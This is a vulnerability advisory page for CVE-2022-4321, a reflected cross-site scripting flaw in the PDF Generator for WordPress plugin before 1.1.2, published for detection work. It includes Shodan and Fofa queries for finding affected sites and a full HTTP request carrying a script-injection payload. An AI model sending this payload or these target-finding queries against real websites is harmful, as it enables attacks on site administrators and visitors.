🔙 목록으로 돌아가기

CVE-2022-4321: PDF Generator for WordPress < 1.1.2 - Cross Site Scripting

TitlePDF Generator for WordPress < 1.1.2 - Cross Site Scripting
Authorr3Y3r53,HuTa0
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected WordPress website, potentially leading to unauthorized access, data theft, or further compromise of the website.
RemediationFixed in version 1.1.2
CVSS Score6.1
EPSS Score0.1032
CVE IDCVE-2022-4321
CWE IDCWE-79
Shodan Queryhttp.html:/wp-content/plugins/pdf-generator-for-wp
Fofa Querybody=/wp-content/plugins/pdf-generator-for-wp
Tags cve cve2022 wpscan wordpress wp wp-plugin xss pdf-generator-for-wp wpswings vuln

🔍 Vulnerability Description

The plugin includes a vendored dompdf example file which is susceptible to Reflected Cross-Site Scripting and could be used against high privilege users such as admin

🌐 HTTP Request

GET /wp-content/plugins/pdf-generator-for-wp/package/lib/dompdf/vendor/dompdf/dompdf/I18N/Arabic/Examples/Query.php?keyword="><script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13.2) AppleWebKit/619.14.1 (KHTML, like Gecko) Version/17.7.52 Safari/619.14.1
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-4321.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-4321.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A